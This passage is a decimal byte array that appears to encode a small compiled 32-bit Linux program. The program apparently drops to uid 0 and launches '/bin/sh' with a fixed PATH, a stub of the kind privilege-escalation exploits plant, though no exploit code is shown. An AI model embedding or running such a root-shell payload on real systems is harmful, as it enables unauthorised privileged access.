  137, 195, 193, 232, 31, 193, 251, 2, 1, 216, 209, 248, 116, 20, 139, 146,
  252, 255, 255, 255, 133, 210, 116, 10, 131, 236, 8, 80, 81, 255, 210, 131,
  196, 16, 139, 93, 252, 201, 195, 141, 180, 38, 0, 0, 0, 0, 102, 144,
  243, 15, 30, 251, 85, 137, 229, 83, 232, 83, 255, 255, 255, 129, 195, 211,
  46, 0, 0, 131, 236, 4, 128, 187, 32, 0, 0, 0, 0, 117, 40, 139,
  131, 244, 255, 255, 255, 133, 192, 116, 18, 131, 236, 12, 255, 179, 28, 0,
  0, 0, 255, 147, 244, 255, 255, 255, 131, 196, 16, 232, 48, 255, 255, 255,
  198, 131, 32, 0, 0, 0, 1, 139, 93, 252, 201, 195, 141, 116, 38, 0,
  243, 15, 30, 251, 233, 87, 255, 255, 255, 139, 20, 36, 195, 85, 137, 229,
  232, 134, 0, 0, 0, 5, 123, 46, 0, 0, 144, 93, 195, 85, 137, 229,
  83, 131, 236, 52, 232, 231, 254, 255, 255, 129, 195, 103, 46, 0, 0, 139,
  69, 8, 137, 69, 212, 101, 161, 20, 0, 0, 0, 137, 69, 244, 49, 192,
  141, 131, 0, 224, 255, 255, 137, 69, 228, 199, 69, 232, 0, 0, 0, 0,
  141, 131, 8, 224, 255, 255, 137, 69, 236, 199, 69, 240, 0, 0, 0, 0,
  131, 236, 12, 106, 0, 232, 150, 254, 255, 255, 131, 196, 16, 131, 236, 12,
  106, 0, 232, 89, 254, 255, 255, 131, 196, 16, 139, 69, 228, 131, 236, 4,
  141, 85, 236, 82, 141, 85, 228, 82, 80, 232, 98, 254, 255, 255, 131, 196,
  16, 131, 236, 12, 106, 0, 232, 69, 254, 255, 255, 139, 4, 36, 195, 0,
  243, 15, 30, 251, 83, 131, 236, 8, 232, 99, 254, 255, 255, 129, 195, 227,
  45, 0, 0, 131, 196, 8, 91, 195, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  47, 98, 105, 110, 47, 115, 104, 0, 80, 65, 84, 72, 61, 47, 117, 115,
  114, 47, 108, 111, 99, 97, 108, 47, 115, 98, 105, 110, 58, 47, 117, 115,
  114, 47, 108, 111, 99, 97, 108, 47, 98, 105, 110, 58, 47, 117, 115, 114,
  47, 115, 98, 105, 110, 58, 47, 117, 115, 114, 47, 98, 105, 110, 58, 47,
  115, 98, 105, 110, 58, 47, 98, 105, 110, 58, 47, 111, 112, 116, 47, 98,
  105, 110, 0, 0, 1, 27, 3, 59, 40, 0, 0, 0, 4, 0, 0, 0,
  220, 239, 255, 255, 68, 0, 0, 0, 41, 241, 255, 255, 104, 0, 0, 0,
  57, 241, 255, 255, 136, 0, 0, 0, 183, 241, 255, 255, 164, 0, 0, 0,
  20, 0, 0, 0, 0, 0, 0, 0, 1, 122, 82, 0, 1, 124, 8, 1,
  27, 12, 4, 4, 136, 1, 0, 0, 32, 0, 0, 0, 28, 0, 0, 0,
  144, 239, 255, 255, 80, 0, 0, 0, 0, 14, 8, 70, 14, 12, 74, 15,
  11, 116, 4, 120, 0, 63, 26, 59, 42, 50, 36, 34, 28, 0, 0, 0,
  64, 0, 0, 0, 185, 240, 255, 255, 16, 0, 0, 0, 0, 65, 14, 8,
  133, 2, 66, 13, 5, 76, 197, 12, 4, 4, 0, 0, 24, 0, 0, 0,
  96, 0, 0, 0, 169, 240, 255, 255, 126, 0, 0, 0, 0, 65, 14, 8,
  133, 2, 66, 13, 5, 68, 131, 3, 16, 0, 0, 0, 124, 0, 0, 0,
  11, 241, 255, 255, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
